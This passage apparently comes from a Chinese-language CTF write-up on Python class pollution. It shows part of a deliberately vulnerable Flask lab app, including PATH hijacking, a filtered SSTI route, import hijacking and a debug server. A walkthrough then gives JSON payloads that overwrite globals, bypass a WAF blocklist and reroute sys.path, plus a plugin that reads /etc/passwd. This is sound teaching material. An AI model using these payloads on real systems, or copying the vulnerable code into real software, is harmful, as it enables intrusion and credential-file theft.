try:
# 注意:这里没有写绝对路径,给了 PATH 劫持的机会
# 我们利用 upload 上传一个叫 sys_health_check 的脚本到 /tmp/ctf_uploads
# 然后污染 PATH 包含该目录
output = subprocess.check_output(["sys_health_check"], shell=False, env=os.environ)
return f"<h3>[Level 4 CLEAR] Cmd Output: {output.decode()}</h3>"
except Exception as e:
return f"<h3>[Level 4 FAIL] Command failed: {str(e)} (PATH: {os.environ.get('PATH')})</h3>"
# [关卡 5] Jinja2 全局变量/语法污染 (Jinja2 Globals/Delimiters)
@app.route('/level5/ssti')
def level5():
user_input = request.args.get('name', 'Guest')
# 强力过滤:禁止使用 {{ 和 }},甚至禁止 class, globals 等关键字
if '{{' in user_input or 'class' in user_input:
return "Hacker detected!"
# 目标:污染 Jinja2 配置,把定界符改为 [[ ]] 从而绕过检测
template = "Hello " + user_input
return render_template_string(template)
# [关卡 6] Python 模块导入劫持 (Module Hijacking)
@app.route('/level6/import')
def level6():
try:
# 尝试导入一个不存在的插件
# 目标:上传一个 malicious_plugin.py 到 /tmp/ctf_uploads
# 然后污染 sys.path
import malicious_plugin
return f"<h3>[Level 6 CLEAR] {malicious_plugin.run()}</h3>"
except ImportError:
return f"<h3>[Level 6 FAIL] Module 'malicious_plugin' not found in {sys.path}</h3>"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)
污染类属性
- 目标:修改User类的is_admin为True
- payload:
1
2
3
4
{
"key": "__class__.is_admin",
"value": true
}
劫持Flask配置
- 目标:修改app.config[‘SHOW_THE_FLAG’]
- payload:
1
2
3
4
{
"key": "__init__.__globals__.app.config.SHOW_THE_FLAG",
"value": true
}
绕过WAF
- 目标:清空内部全局变量GLOBAL_WAF_BLOCKLIST
payload:
1
2
3
4
{
"key": "__init__.__globals__.GLOBAL_WAF_BLOCKLIST",
"value": []
}
污染os.environ
系统尝试执行sys_health_check,但没有这个命令。我们造一个假的,并把路径加到PATH里。
创建一个文件名为sys_health_check的可执行文件。
1
2
#!/bin/sh
echo "Hacked"
这里注意如果想执行这个文件需要有x权限,这里不过多说明,只是演示命令劫持。
1
2
3
4
{
"key": "__init__.__globals__.os.environ.PATH",
"value": "/tmp/ctf_uploads:/usr/bin:/bin"
}
访问/level4/cmd,服务器会在/tmp/ctf_uploads找到sys_health_check并执行。
Jinja2全局变量污染
题目有一个SSTI漏洞点,但是过滤了双大括号,我们将variable_start_string改为双中括号。
1
2
3
4
{
"key": "__init__.__globals__.app.jinja_env.variable_start_string",
"value": "[["
}
这样就可以用[[]]代替{{}}进行ssti
Python模块导入劫持
import malicious_plugin失败,我们上传它并把上传目录加入sys.path。
首先本地创建恶意的malicious_plugin.py
1
2
3
4
5
6
# malicious_plugin.py
import os
def run():
return os.popen('ls / && cat /etc/passwd').read()
调用题目中的/api/upload上传它。
然后污染sys.path。
1
2
3
4
{
"key": "__init__.__globals__.sys.path",
"value": ["/tmp/ctf_uploads"]
}
访问/level6/import,python就会加载我们的恶意脚本,实现rce。






